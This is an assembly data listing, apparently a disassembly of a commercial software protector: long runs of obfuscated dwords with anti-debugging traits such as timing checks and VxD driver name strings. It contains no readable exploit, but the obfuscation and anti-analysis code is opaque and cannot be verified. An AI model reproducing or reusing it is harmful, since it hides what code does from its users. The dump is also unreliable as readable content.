		dd 0FFF38158h, 8173E9D8h, 9F3541E8h, 7E93Fh, 436A0000h
		dd 92A26EB2h, 0CAF08104h, 664E1196h, 81F9C1BFh,	0FB0C5BF0h
		dd 5EB76076h, 8A88F781h, 89614909h, 4EE8306h, 0CC18166h
		dd 1EA8355h, 0FFB6850Fh, 0C181FFFFh, 602BC083h,	464934EBh
		dd 52474D53h, 4B562020h, 20202044h, 4D562020h, 2020204Dh
		dd 57562020h, 32334E49h, 58562020h, 52444C44h, 2020h, 2	dup(0)
		dd 55E90000h, 0E9000007h, 10h, 74199B69h, 951B0370h, 1CC77FF4h
		dd 94700F14h, 85C7F560h, 6096EC5h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C6C35242h
		dd 0DDCB47D2h, 1820Fh, 60F80000h, 5E9h,	0D084CB00h, 0C4BB28D6h
		dd 6102FA6Ah, 6AC68Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 26287DC3h, 7E99FDCh, 7C000000h
		dd 63404F3Ch, 11E9258Ch, 2E000000h, 0C005740Ch,	1E3E94CBh
		dd 4E96815h, 0BD55D29Ch, 60D8B70Fh, 5E9F9h, 28BF0000h
		dd 61F82FD8h, 6010E8C1h, 6890Fh, 800F0000h, 0
		dd 6661F2B0h, 6A08C8C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 503EC352h, 31F31BD1h
		dd 0C9858976h, 0F06096Eh, 68Ch,	80F96000h, 666149DCh, 0FC08CBC1h
		dd 0F40FB83h, 7085h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0D74A33DBh, 89DD8060h
		dd 2850Fh, 0DA8B0000h, 12E96061h, 73000000h, 73E778DDh
		dd 3B27168Fh, 3C35668Ah, 87162FF6h, 12E9D4h, 4FD50000h
		dd 719B0143h, 9B242116h, 0CEE6B70Ah, 8FC64B31h,	9DBD8D61h
		dd 6006096Eh, 66CB8B66h, 0E961C68Bh, 183h, 0DFB83F8h, 4C850Fh
		dd 0BE90000h, 86000000h, 0ACDA5E64h, 3937AAC6h,	0BD8D655Dh
		dd 6096EA5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	2C35242h, 1850Fh, 0E9F90000h, 13Bh, 88F0Fh, 800F0000h
		dd 2, 0FB836160h, 33850F01h, 0F5000000h, 6EADBD8Dh, 6A0609h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 518347C3h, 0F9E9F8h,	840F0000h, 1, 0FB83F5F9h, 8D850F2Ah
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 6CBFC357h, 0DE992h, 0B0970000h
		dd 0D3A4D897h, 6573C5BFh, 8DCDD10Ah, 96EB5BDh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 11929170h, 11E912h, 5D420000h, 9A98B520h, 8178578Fh
		dd 67DFD10Ch, 0E9A55943h, 77h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 7AC35141h, 0F27FB83h, 2ED85h
		dd 0FE900h, 9AEA0000h, 2DB6B379h, 5DA55DF9h, 624A14B9h
		dd 0BDBD8D2Eh, 6A06096Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B3AAC352h,	0AE939h
		dd 0E6520000h, 3C84E733h, 0EFB1AB37h, 0CBA8B860h, 0BA6610C2h
		dd 8961383Ah, 96ECDBDh,	148A0F06h, 0E9000000h, 0Fh, 58F460C5h
		dd 67DABB28h, 331F0354h, 0F40A54Eh, 1285h, 5E96000h, 0AE000000h
		dd 5F292FAFh, 799FD281h, 66612E4Bh, 8D0FC88Ch, 0Ch, 6860Fh
		dd 8F0F0000h, 0
		dd 6A0324h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 1ABFE2C3h, 0C00ABA8Dh, 14B850Fh, 8DFC0000h
		dd 974BEB5h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 10DEDC17h, 10B9956h, 40E28160h, 8B564C25h
		dd 858B61FEh, 60975A9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0E8C35646h, 6830Fh, 0F9600000h, 61D0D580h
		dd 0E9576092h, 0Dh, 484B7303h, 122B4843h, 8ABF5224h, 50615B52h
		dd 178F0Fh, 12E90000h, 9000000h, 0C1AE4AB8h, 6C407212h
		dd 567C11Dh, 21A476D1h,	820F92AAh, 0Ch,	68E0Fh,	830F0000h
		dd 0
		dd 244C010Fh, 0FF860FEh, 284h, 61D68B00h, 57006A5Ah, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0A3B4EA04h, 1C143BF9h, 0C28377D3h, 8966FC24h, 860FFC72h
		dd 0Fh,	0AE9h, 6FA97C00h, 278A0218h, 0C128507Fh, 0E96010CEh
		dd 10h,	7FC9000Dh, 493F8582h, 0AD9F86B3h, 0D57D95BAh, 8DC28166h
		dd 896661DCh, 6A0272h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 2771FAC3h, 0F89C64ECh, 0E9FC04CDh
		dd 0AFh, 0A9858BF5h, 6A060975h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FF4C357h, 158Dh, 10E900h
		dd 4FC60000h, 51BDF6AAh, 0AFAAEEECh, 71D67B2Bh,	0B58DD7CBh
		dd 60974BEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0F4C35646h, 0BEADDB75h,	0F8F73CC4h, 4A5C858Dh
		dd 800F0609h, 8, 28A0Fh, 61600000h, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E99905C3h
		dd 0Fh,	982215B8h, 853DEB1h, 787D3620h,	89AB6807h, 96EC585h
		dd 8B0F6006h, 6, 4AA7E281h, 0F6129C5h, 118Eh, 0AE96000h
		dd 0B9000000h, 281B98DCh, 0C641AD04h, 0E9616195h, 0Dh
		dd 0C3A44896h, 0CEC921F5h, 5AFB5152h, 840F60E8h, 3, 0FD78B66h
		dd 589h, 30FCBA00h, 8B610426h, 96EC585h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0C3D822D5h, 18B0Fh, 60F80000h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 8DC35545h, 0CF63F17Ch, 69592F1Fh
		dd 12E95160h, 1F000000h, 744D0CDDh, 8875EB84h, 2A361775h
		dd 2F8A088h, 83615FAAh,	975A9BDh, 850F0006h, 62h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 2FC35242h, 586BA75Fh
		dd 10E969h, 988B0000h, 0CCA68A0h, 0FB044ED0h, 0EE84894Fh
		dd 85C74472h, 60975A9h,	1013Fh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 7FC35141h, 8EDB4017h, 35E9FCF9h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0E2B3C352h, 0D3603A8Ch, 810FACFBh
		dd 0Ch,	1EBB6660h, 14E081D6h, 617BBBF6h, 20CDh,	0C00B0000h
		dd 708D3774h, 0CDBD8B0Ch, 0B906096Eh, 8, 492275A6h, 488BFA75h
		dd 0C99D8B30h, 3B06096Eh, 157F3458h, 0D26BD38Bh, 8BCA0304h
		dd 0C5858901h, 0EB06096Eh, 0EB008B04h, 858B61C5h, 6096EC5h
		dd 12E9CFh, 0F0E80000h,	0BA65E319h, 0C4F3C09Dh,	5C9C8E53h
		dd 754B7EE3h, 14800Fh, 53600000h, 0AE85Eh, 0F6930000h
		dd 905406F4h, 0F8F1437Fh, 5E9615Fh, 0C6000000h,	0CEE51CC6h
		dd 0E9C08Bh, 4,	33000000h, 69206E41h, 7265746Eh, 206C616Eh
		dd 65637865h, 6F697470h, 636F206Eh, 65727563h, 41282064h
		dd 65726464h, 203A7373h, 78257830h, 500D0A29h, 7361656Ch
		dd 63202C65h, 61746E6Fh, 73207463h, 6F707075h, 6F407472h
		dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h
		dd 21h,	0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 10E8h, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 15h, 71C35040h, 13E9C0h, 66E0000h,	0D3676FBEh
		dd 38582490h, 0FB874C1h, 0D0AE2B54h, 0BE950h, 0FEB0000h
		dd 0E8F856E1h, 38263C05h, 99858B0Fh, 0F5060604h, 4244439h
		dd 63850Fh, 95890000h, 6060EA9h, 3169BD83h, 0F000606h
		dd 5084h, 0C8A0F00h, 0F000000h,	682h, 820F00h, 8D000000h
		dd 639F585h, 10E906h, 0A9770000h, 0C26C0FC0h, 92B60ECBh
		dd 0BEFC63F0h, 0E0FF3205h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 6C35242h, 2E281F6h, 4D858BF9h, 60060615h
		dd 23C99D89h, 39610606h, 0F042444h, 6785h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 896E7BE3h, 75DF2FF5h, 870F5954h, 0Fh, 0AE9h,	0B032B300h
		dd 53F4E938h, 89933B7Eh, 61DCD85h, 2E85C706h, 106097Ah
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0F51BC356h, 1860F60h, 0F8000000h
		dd 0CE9h, 0E6BF6000h, 0F910CDCEh, 61h, 1B800h, 85870000h
		dd 6097B84h, 0F675C00Bh, 1C1B5FFh, 858F0606h, 6097A26h
		dd 0FF6A206Ah, 123D95FFh, 0BD830606h, 6060FE1h,	6A087400h
		dd 0C995FF00h, 8306061Ah, 6206DBDh, 0D740106h, 8068h, 0FFFF6A00h
		dd 6123D95h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 89AA9039h, 61B9D9Dh, 6E906h, 0E0DC0000h
		dd 9B438974h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	9C35747h, 0B8F8FCh, 0F8000000h,	1E399D01h, 548B0606h
		dd 0B5892824h, 60607D5h, 998589FCh, 6A060628h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0CB66C353h, 36EEC0C2h, 12E9E3h, 844C0000h, 0EF014F03h
		dd 94290271h, 0B4330D74h, 0E05BB98Ah, 3CBEh, 14E900h, 18520000h
		dd 5D5FE58Fh, 403FC6FBh, 0CCC67673h, 964CF741h,	0BD016E64h
		dd 60614E5h, 24247403h,	0E9AD66F8h, 12h, 0E7467071h, 2C13EE1h
		dd 0EB270659h, 73E2FEEh, 4403B29Eh, 85892424h, 60625D9h
		dd 0F525090h, 284h, 0F616000h, 5F536031h, 8973E8B9h, 585A6105h
		dd 60525050h, 0C25ABA66h, 0F616160h, 0EE931h, 0F9690000h
		dd 7DDD051h, 0DBB4C2F7h, 38C5E242h, 8990585Ah, 6316D85h
		dd 78408B06h, 55858960h, 6106061Dh, 7A2EBD83h, 0F000609h
		dd 0E285h, 3D858900h, 9006062Eh, 11E9h,	392F7F00h, 8288F25h
		dd 94CC8B7Fh, 6D005109h, 6050186Ch, 0F525051h, 59585A31h
		dd 6E8h, 398CF700h, 8A30CA14h, 90615AE2h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 67C35747h, 6BAB2107h
		dd 896B377Ch, 6341195h,	24448B06h, 68D0F2Ch, 89000000h
		dd 61A39B5h, 8A605006h,	5830FD3h, 0BE000000h, 18383F02h
		dd 24048961h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ch,	0E7C35040h, 0D503EAEDh,	0CA603BB5h, 75950160h
		dd 29060625h, 61AA995h,	858D6106h, 6094AEFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h, 1820FFBh
		dd 0F8000000h, 3F5D0FFh, 6A282444h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 2B33C353h
		dd 408BF89Fh, 8D896018h, 6061BFDh, 2B11858Bh, 40610606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0B8C35141h
		dd 68E0FF8h, 89000000h,	62B35B5h, 2A858906h, 0E906097Ah
		dd 10h,	16EC387h, 0D41B1418h, 1D2A2DE1h, 0E11B67Fh, 0C1BD3158h
		dd 8B060612h, 89F87870h, 6240D9Dh, 1CC68306h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0E2C35747h, 1804F53Ch
		dd 6057AC81h, 0CFEE8166h, 0A5B53108h, 6106062Eh, 53006A96h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 247C8196h, 24h, 0F7870F10h, 0F000000h, 683h,	0A9BD0100h
		dd 90060620h, 78D0Fh, 0B8600000h, 68883423h, 0CE95061h
		dd 0DA000000h, 0F581F3EBh, 0BC7A3BB7h, 90D62A9Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8EC35646h, 0E9F8AE07h
		dd 8, 0E5847EB2h, 0FDD74CE6h, 0DE9h, 2EA59400h,	0FD0AB9FBh
		dd 53557036h, 448B58C9h, 8B0F2824h, 0Ah, 418D8960h, 8B06062Eh
		dd 0F5061C2h, 1A81h, 50525000h,	5A310F52h, 0E9310F58h
		dd 9, 0ECD17E2h, 0F47C3AC0h, 89585A44h,	0B5892404h, 6061A95h
		dd 2565B529h, 858D0606h, 6094AEFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 50C35040h, 0CDEFADB2h, 0B06103D6h
		dd 0D0FFF5F1h, 71B53160h, 8B060629h, 611298Dh, 8C0F6106h
		dd 6, 13518509h, 6A960606h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0A7FDC357h,	0DB0CA3D9h
		dd 25E15C7Ah, 12E9h, 8A83EA00h,	0C757B43Eh, 8AB97BE4h
		dd 4634100Ch, 3FC95B3h,	60242474h, 13EDB509h, 800F0606h
		dd 2, 8D6117B4h, 611B5BDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0ADF57D4Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2EC35343h
		dd 357E459Ah, 247C81F9h, 24h, 0FB870F10h, 89000000h, 62F2D8Dh
		dd 0EE99006h, 8000000h,	459E10D6h, 3AF78F3Ah, 0B3940E59h
		dd 525050E3h, 52505250h, 585A310Fh, 830F310Fh, 0
		dd 310F585Ah, 7E860h, 0EF30000h, 8FA7C30Eh, 8E0F5A9Ah
		dd 0
aAzxrj		db 'aZXj',0
		dw 0E856h
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DCC35646h, 0CF66F496h
		dd 0B5316078h, 60614A1h, 0E398DF81h, 8B614199h,	6A282444h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 7FD0C351h, 26519589h, 89600606h, 61DE9BDh
		dd 85858906h, 61060602h, 50525050h, 830F52h, 0F000000h
		dd 5A616031h, 60310F58h, 0BBD08B66h, 21ECE0A6h,	89585A61h
		dd 0BD892404h, 6061629h, 4AEF858Dh, 850F0609h, 6, 14A18D01h
		dd 0D0FF0606h, 7E9h, 0CABB3800h, 0A38E909Dh, 25B18D31h
		dd 44030606h, 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 9DBA65C3h, 6AABFCC0h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8973C355h, 61071BDh,	0FA8106h, 0F000100h, 7EA82h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 1B9F04E2h, 211DBD8Dh, 800F0606h, 6, 7859501h, 6AAD0606h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 15B3C350h, 813E092Bh, 24247Ch, 0F100000h
		dd 0FD87h, 8D8B6000h, 6062335h,	0FA4FC3BAh, 0E9906164h
		dd 13h,	64B19E24h, 937735C3h, 8E0E008h,	0CF058D27h, 50DCADA1h
		dd 8A0F5250h, 12h, 0DE9h, 39668600h, 0B5F9955Eh, 0A9827BB7h
		dd 310F7F25h, 8AC38A60h, 585A61F3h, 448BF890h, 9D292824h
		dd 6063161h, 9E990h, 45560000h,	0D88EB7A2h, 50BC6AA5h
		dd 9E9h, 0A72D4C00h, 0DBAE84C9h, 19051ACh, 6136185h, 6DB52906h
		dd 8D060607h, 94AEF85h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 306CC51Eh, 0D39078E0h
		dd 0E890FEBh, 60000000h, 2279B589h, 8D290606h, 6061E41h
		dd 0D0FFFC61h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	13C35242h, 55A28302h, 99583B8Dh, 880FF9F5h, 0Eh
		dd 1D9D8960h, 89060613h, 604A195h, 44036106h, 90F92424h
		dd 6E9h, 0CC09F900h, 50A3AF12h,	50605250h, 5A310F52h, 0EE858h
		dd 83590000h, 56A42D83h, 0B3D25A05h, 752C8061h,	310F615Fh
		dd 68E0Fh, 8C0F0000h, 0
aZxrj		db 'ZXj',0
		db 51h,	0E8h, 3
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0EDD4C351h, 0D128BEA9h, 0AF216343h, 4810Fh, 8A600000h
		dd 89AB61DCh, 633718Dh,	4DBD8D06h, 6006060Eh, 30C5958Bh
		dd 95890606h, 6061C01h,	6AAD61h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E747BEC3h, 5C5462A8h
		dd 0CE960h, 3ED70000h, 0FEB3217Fh, 5789B069h, 61F954C2h
		dd 28247C81h, 10000000h, 13B870Fh, 81600000h, 628340E3h
		dd 4EEF812Ch, 6122E3BDh, 9E950h, 92200000h, 0CECD578Ah
		dd 895DF18Eh, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 5F61B8C3h, 0D06BBFF9h, 11F59589h
		dd 448B0606h, 6A2C24h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0EBCD22C3h, 14E94B9Ch, 0A4000000h
		dd 172B6BD8h, 1558B79Ch, 0ED3DCC42h, 851EEEB8h,	90690F83h
		dd 0D88B6660h, 0F525052h, 5E585A31h, 0E8605061h, 14h, 863B23E4h
		dd 5F6EB957h, 5D03326Ch, 0A374C237h, 9AA47139h,	0E95AD18Bh
		dd 5, 8603ED36h, 6A90616Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 7B45C350h, 0EBA16578h
		dd 0CAD94C90h, 0F810Fh,	0AE90000h, 2D000000h, 65D5B306h
		dd 64A3F1BCh, 0EF858D65h, 0E906094Ah, 0Dh, 5132FAD0h, 4839585Bh
		dd 37CF7F1h, 6AD0FF87h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 1D80C350h, 45E2C20Dh
		dd 893CB076h, 61161BDh,	24440306h, 89ABF828h, 629B995h
		dd 8DFF5E06h, 6097A2Ah,	7A2ABD83h, 75000609h, 8DC0330Ah
		dd 988E1B5h, 56E6FF06h,	247C81ADh, 28h,	500E7710h, 2C24448Bh
		dd 0EF858D50h, 0FF06094Ah, 244403D0h, 0DF8B9728h, 7A26858Ah
		dd 0C0840609h, 73A0474h, 32574C75h, 0FD75AEC0h,	52FB2B5Eh
		dd 49C933FCh, 0C033D18Bh, 32ACDB33h, 8ACD8AC1h,	0B6D68AEAh
		dd 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h
		dd 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h
		dd 0D03B5AC1h, 835E0F74h, 85FF04C6h, 6062899h, 0FFFF5DE9h
		dd 10E95EFFh, 6E000000h, 65DB6DC9h, 0C843C822h,	94280B7Ah
		dd 6AFB2EA5h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 4A00C351h, 0E69B8086h,	0DB531AAh
		dd 89060607h, 61391B5h,	99858B06h, 89060628h, 62CFD95h
		dd 0E9E0D106h, 0Eh, 0E2F80056h,	0D25E2C53h, 1E6734CFh
		dd 8D0F655Ch, 0Dh, 8E9h, 67F15800h, 0C9EEBDF5h,	4D8503EDh
		dd 6A06060Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 4FA2C351h, 3D731DD6h, 0BEF5h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 274459C3h, 8D092C89h, 6062395h, 52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0A4AE77BAh, 0A8A0FF9h, 60000000h, 0BADDF680h, 4E1E622Ah
		dd 6AAD6661h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 2F5FC357h, 201B1019h, 5E9h, 0D6B31900h
		dd 8D09ECD9h, 606163Dh,	6A02E0C1h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B09FC355h
		dd 1BE602Fh, 699529h, 85030606h, 60611B5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 16C35343h, 0E99EE607h
		dd 0Fh,	60B4115Ch, 0C9F9B1CDh, 95474C76h, 96F16F78h, 2621BD29h
		dd 0F9AD0606h, 24247C81h, 10000000h, 121870Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 224B3DC3h, 525090F5h, 5FAEB960h, 5A505678h, 0E9310F61h
		dd 0Bh,	1B3CC8A5h, 0AADAFBCh, 5A61C469h, 810F5058h, 0Ch
		dd 68B0Fh, 850F0000h, 0
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 5F5160ACh, 0E5B58953h, 5B06062Fh, 448BF961h
		dd 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0FA35ECC3h, 0FE990h, 69980000h, 0BF51AE5Ah
		dd 5C70C773h, 8CB7B077h, 52505079h, 6820Fh, 8B0F0000h
		dd 0
		dd 6660310Fh, 51D823BEh, 585A615Eh, 858D8990h, 8D060627h
		dd 94AEF85h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 54B2A13Ah, 60D0FFF8h, 11E9h, 98FE0000h
		dd 3CC6669Dh, 0A9E3FD79h, 0CA0F8E84h, 0BD891BB9h, 6061121h
		dd 9BD3161h, 3060632h, 6A242444h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0CA7AC357h
		dd 106D5CA6h, 0F7903C0Fh, 2BF5BD01h, 44890606h,	6A1C24h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 853179C3h, 606244Dh,	0C185C6FCh, 60601h, 7B8485C7h
		dd 609h, 85C70000h, 6097A2Eh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 2EC35040h
		dd 213D3854h, 0C5831B81h, 0DA8B6660h, 38A0Fh, 0BF0F0000h
		dd 8D0961FBh, 6062149h,	6E9h, 6A694800h, 0E92FDD28h, 13h
		dd 65DB6DC9h, 0C843C822h, 94280B7Ah, 0B9FB2EA5h, 6136FD0Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BFC35646h
		dd 398D8960h, 89060622h, 6176185h, 8E96106h, 0A6000000h
		dd 4A36F75Bh, 0C25F57FCh, 8BF80008h, 611B585h, 98E0F06h
		dd 60000000h, 0CD88166h, 615856BFh, 13870F4Ah, 0E9000000h
		dd 0Eh,	2B20B383h, 4CADD1EAh, 2945D7A4h, 0D26BFE75h, 0EE904h
		dd 22550000h, 76789658h, 1FBCEBADh, 92DC2B72h, 9D89C203h
		dd 6062985h, 57006A96h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0CD94700Fh, 7DDA899Dh, 11E9B4h, 0AD560000h
		dd 79B583CBh, 0B4E20B64h, 0CF44413Bh, 0AD523A76h, 6810Fh
		dd 95890000h, 606258Dh,	24247C81h, 10000000h, 0B7870Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 899BA7C3h, 615A98Dh, 8C0F5006h, 0Ah, 61605250h
		dd 6160310Fh, 489585Ah,	448BF824h, 85012824h, 60627E5h
		dd 0DE950h, 1A7D0000h, 909F53C3h, 6C770810h, 89C3D20Ah
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 858D95C3h, 6094AEFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0A2C35242h,	0FF3D1FADh, 55006AD0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0FD99E921h, 8531FFFFh, 6061BC9h, 8EE5858Dh, 85890609h
		dd 6061779h, 0CE990h, 7150000h,	153F01FFh, 7E7F151Fh, 0F5080CFh
		dd 1688h, 0F525000h, 82h, 0E9310F00h, 5, 0B826BC44h, 90585AC1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 14C35545h
		dd 91958960h, 64060627h, 35FFh,	820F0000h, 6, 2EE98589h
		dd 48B0606h, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 2DDA59EEh, 8451C515h, 10E9E7F6h
		dd 0FF000000h, 9573F525h, 0A3FCD63Ch, 388A2DC1h, 89947AE3h
		dd 615FD85h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0A418932h, 4894CD95h, 0BF560C2h
		dd 623DD85h, 89646106h,	25h, 0A5953100h, 8D06060Fh, 98CB985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0FA6F9B67h, 7E9h, 7FF99F00h, 68894B72h
		dd 0D8D0360h, 6006062Fh, 615F53FCh, 1608961h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0DDC35040h, 0E343514Ah
		dd 0CEA6C57h, 98E9F5F0h, 6A000002h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 5EDAC355h
		dd 0B7C1CD70h, 60616067h, 245B529h, 66530606h, 615FC78Bh
		dd 0E8DB8Bh, 5D000000h,	8CB2ED81h, 9CBC0609h, 830012FFh
		dd 6206DBDh, 18740006h,	15F1858Bh, 0C60606h, 31858B00h
		dd 0C6060615h, 95FF0000h, 6060395h, 32B5FF60h, 8D060976h
		dd 9763685h, 858D5006h,	609782Eh, 8995FF50h, 83060633h
		dd 1610CC4h, 6014DB5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0F13E1106h, 8960936Dh
		dd 601BDBDh, 0B58D6106h, 609782Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 3BC35646h, 1A398501h, 0BD8D0606h
		dd 60604C5h, 0CE9h, 70894300h, 0BF66644Eh, 813A0F7Eh, 3E807Eh
		dd 66840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 160424h, 55450000h, 498AE4C3h, 198D8960h, 6606062Eh
		dd 612F64BEh, 9D8509A4h, 0E9060607h, 0FFFFFFC1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h, 4049DA3Dh
		dd 545B4D1Dh, 68F0Fh, 85890000h, 60631C9h, 6AC02Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B185F4C3h, 0E23BFFA1h, 0F5A4984h, 683h, 819D8900h
		dd 0AA060602h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	68C35040h, 986B6737h, 0F5E4FD80h, 34318509h, 7B80606h
		dd 0E9000000h, 12h, 8B1EBCDCh, 7EFD023Dh, 27B569BDh, 0A7896050h
		dd 85C727E5h, 6061ED5h,	1, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 7AC35545h, 11890Fh, 0CE90000h, 0A4000000h
		dd 507CB6D0h, 58EA802Fh, 8DA473CEh, 64ED28Dh, 0E1FFF806h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 13C35545h
